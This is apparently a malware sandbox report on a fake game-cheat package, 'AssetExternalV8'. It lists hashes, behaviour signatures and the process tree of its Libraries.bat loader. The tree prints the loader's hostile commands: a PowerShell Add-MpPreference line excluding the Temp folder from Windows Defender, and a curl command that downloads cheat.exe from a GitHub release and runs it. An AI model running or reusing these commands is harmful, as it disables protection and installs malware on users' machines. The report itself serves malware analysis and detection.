Overview
overview
8Static
static
1AssetExter...al.lnk
windows10-2004-x64
8AssetExter...al.lnk
windows11-ltsc_2024-x64
8AssetExter...ss.dll
windows10-2004-x64
1AssetExter...ss.dll
windows11-ltsc_2024-x64
1AssetExter...es.bat
windows10-2004-x64
8AssetExter...es.bat
windows11-ltsc_2024-x64
8AssetExter...ry.dll
windows10-2004-x64
1AssetExter...ry.dll
windows11-ltsc_2024-x64
1Mal/AssetE...al.lnk
windows10-2004-x64
8Mal/AssetE...al.lnk
windows11-ltsc_2024-x64
8Mal/AssetE...ss.dll
windows10-2004-x64
1Mal/AssetE...ss.dll
windows11-ltsc_2024-x64
1Mal/AssetE...es.bat
windows10-2004-x64
8Mal/AssetE...es.bat
windows11-ltsc_2024-x64
8Mal/AssetE...ry.dll
windows10-2004-x64
1Mal/AssetE...ry.dll
windows11-ltsc_2024-x64
1Analysis
- max time kernel
150s - max time network
145s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
08/08/2026, 23:59
Static task
static1
Behavioral task
behavioral1
Sample
AssetExternalV8/AssetExternal.lnk
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
AssetExternalV8/AssetExternal.lnk
Resource
win11ltsc2024-20260709-en
Behavioral task
behavioral3
Sample
AssetExternalV8/dependencies/ACbypass.dll
Resource
win10v2004-20260513-en
Behavioral task
behavioral4
Sample
AssetExternalV8/dependencies/ACbypass.dll
Resource
win11ltsc2024-20260709-en
Behavioral task
behavioral5
Sample
AssetExternalV8/dependencies/Libraries.bat
Resource
win10v2004-20260513-en
Behavioral task
behavioral6
Sample
AssetExternalV8/dependencies/Libraries.bat
Resource
win11ltsc2024-20260710-en
Behavioral task
behavioral7
Sample
AssetExternalV8/dependencies/memory.dll
Resource
win10v2004-20260513-en
Behavioral task
behavioral8
Sample
AssetExternalV8/dependencies/memory.dll
Resource
win11ltsc2024-20260709-en
Behavioral task
behavioral9
Sample
Mal/AssetExternalV8/AssetExternalV8/AssetExternal.lnk
Resource
win10v2004-20260513-en
Behavioral task
behavioral10
Sample
Mal/AssetExternalV8/AssetExternalV8/AssetExternal.lnk
Resource
win11ltsc2024-20260709-en
Behavioral task
behavioral11
Sample
Mal/AssetExternalV8/AssetExternalV8/dependencies/ACbypass.dll
Resource
win10v2004-20260513-en
Behavioral task
behavioral12
Sample
Mal/AssetExternalV8/AssetExternalV8/dependencies/ACbypass.dll
Resource
win11ltsc2024-20260709-en
Behavioral task
behavioral13
Sample
Mal/AssetExternalV8/AssetExternalV8/dependencies/Libraries.bat
Resource
win10v2004-20260513-en
Behavioral task
behavioral14
Sample
Mal/AssetExternalV8/AssetExternalV8/dependencies/Libraries.bat
Resource
win11ltsc2024-20260709-en
Behavioral task
behavioral15
Sample
Mal/AssetExternalV8/AssetExternalV8/dependencies/memory.dll
Resource
win10v2004-20260513-en
Behavioral task
behavioral16
Sample
Mal/AssetExternalV8/AssetExternalV8/dependencies/memory.dll
Resource
win11ltsc2024-20260709-en
General
- Target Mal/AssetExternalV8/AssetExternalV8/dependencies/Libraries.bat
- Size 3KB
- Sample260808-31te3azzgx
- SHA256 8c224b994c1fbe4af638b8a8bb0ce7b2f49472e8fd296716516e0bc35d5d6524
- MD5 f6458bbcce1e3c8b28253e37a6e87acb
- SHA1 dc33e91a252ae5e1d319c733f46903c22ba9c020
- SHA512 d00e41fd0dbd0b03023754cebab29d67aae18358692d258479f3e5a4e148d4637ae7aef0137b1c53be071066c27f9359d308b64e74cbdd84c38723e9edb739f0
- TLSH T10961991A30197024C2F19DA04E352176F18976CBAA145EDCF42FD0B85F22BC63AF74D9
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2328 powershell.exe - Downloads MZ/PE file 1 IoCs
flow pid Process 18 4528 curl.exe - Executes dropped EXE 1 IoCs
pid Process 3152 cheat.exe - Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5908 cmd.exe - Delays execution with timeout.exe 7 IoCs
pid Process 5416 timeout.exe 3804 timeout.exe 1384 timeout.exe 2016 timeout.exe 5992 timeout.exe 5328 timeout.exe 4660 timeout.exe - Runs net.exe
- Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 2328 powershell.exe 2328 powershell.exe 3152 cheat.exe 3152 cheat.exe - Suspicious use of AdjustPrivilegeToken 22 IoCs
description pid Process Token: SeDebugPrivilege 2328 powershell.exe Token: SeIncreaseQuotaPrivilege 2328 powershell.exe Token: SeSecurityPrivilege 2328 powershell.exe Token: SeTakeOwnershipPrivilege 2328 powershell.exe Token: SeLoadDriverPrivilege 2328 powershell.exe Token: SeSystemProfilePrivilege 2328 powershell.exe Token: SeSystemtimePrivilege 2328 powershell.exe Token: SeProfSingleProcessPrivilege 2328 powershell.exe Token: SeIncBasePriorityPrivilege 2328 powershell.exe Token: SeCreatePagefilePrivilege 2328 powershell.exe Token: SeBackupPrivilege 2328 powershell.exe Token: SeRestorePrivilege 2328 powershell.exe Token: SeShutdownPrivilege 2328 powershell.exe Token: SeDebugPrivilege 2328 powershell.exe Token: SeSystemEnvironmentPrivilege 2328 powershell.exe Token: SeRemoteShutdownPrivilege 2328 powershell.exe Token: SeUndockPrivilege 2328 powershell.exe Token: SeManageVolumePrivilege 2328 powershell.exe Token: 33 2328 powershell.exe Token: 34 2328 powershell.exe Token: 35 2328 powershell.exe Token: 36 2328 powershell.exe - Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 5908 wrote to memory of 2040 5908 cmd.exe 90 PID 2040 wrote to memory of 5400 2040 net.exe 91 PID 5908 wrote to memory of 5416 5908 cmd.exe 92 PID 5908 wrote to memory of 3804 5908 cmd.exe 93 PID 5908 wrote to memory of 1384 5908 cmd.exe 94 PID 5908 wrote to memory of 2328 5908 cmd.exe 95 PID 5908 wrote to memory of 4528 5908 cmd.exe 97 PID 5908 wrote to memory of 2016 5908 cmd.exe 99 PID 5908 wrote to memory of 5992 5908 cmd.exe 100 PID 5908 wrote to memory of 3152 5908 cmd.exe 101 PID 5908 wrote to memory of 5328 5908 cmd.exe 103 PID 5908 wrote to memory of 4660 5908 cmd.exe 105
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Mal\AssetExternalV8\AssetExternalV8\dependencies\Libraries.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5908 -
C:\Windows\system32\net.exenet session2⤵
- Suspicious use of WriteProcessMemory
PID:2040 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session3⤵PID:5400
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C:\Windows\system32\timeout.exetimeout /t 2 /nobreak2⤵
- Delays execution with timeout.exe
PID:5416
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C:\Windows\system32\timeout.exetimeout /t 1 /nobreak2⤵
- Delays execution with timeout.exe
PID:3804
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C:\Windows\system32\timeout.exetimeout /t 1 /nobreak2⤵
- Delays execution with timeout.exe
PID:1384
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2328
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C:\Windows\system32\curl.execurl -L -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" -o "C:\Users\Admin\AppData\Local\Temp\cheat.exe" "https://github.com/vortixgg/Cypherix/releases/download/fqweqfq/cheat.exe"2⤵
- Downloads MZ/PE file
PID:4528
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C:\Windows\system32\timeout.exetimeout /t 2 /nobreak2⤵
- Delays execution with timeout.exe
PID:2016
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C:\Windows\system32\timeout.exetimeout /t 1 /nobreak2⤵
- Delays execution with timeout.exe
PID:5992
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C:\Users\Admin\AppData\Local\Temp\cheat.exe"C:\Users\Admin\AppData\Local\Temp\cheat.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3152
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C:\Windows\system32\timeout.exetimeout /t 2 /nobreak2⤵
- Delays execution with timeout.exe
PID:5328
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C:\Windows\system32\timeout.exetimeout /t 2 /nobreak2⤵
- Delays execution with timeout.exe
PID:4660
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\cheat.exe
- Size 676KB
- SHA256 62aeb4d89cbe53cb8ec9eff1a5230cd9deedeb3605ee9825e936eb08c0543888
- MD5 1f86b763eec23eb36f5a530763b7a65d
- SHA1 79ae711c84382764dbdd1af03c12b5d61d9e1cfb
- SHA512 502b0364dc0136ccac70be2408cd98628cfa500a444fb97d72858c31b692d3223e1a11c6bd26f80bd09ebf6ad66ecf03429ff08a485182d7d7070c4115eb714e
- SSDEEP 6144:51oqMZHuAx9Jb4Fo2W3NkWQWrpoTSS2I5trhzkfgbSYB0U5gdIbmJFhsmNkrr3ZF:EbWTSSfKfcSYrgdIoyNrr3ZLC5Kcm
- TLSH T15BE4AE15A6E112F9E177C13ECAA64A56FAF2BC09076097C703E456E42F17BE44B3E312
- MD5 SHA1 SHA512 SSDEEP TLSH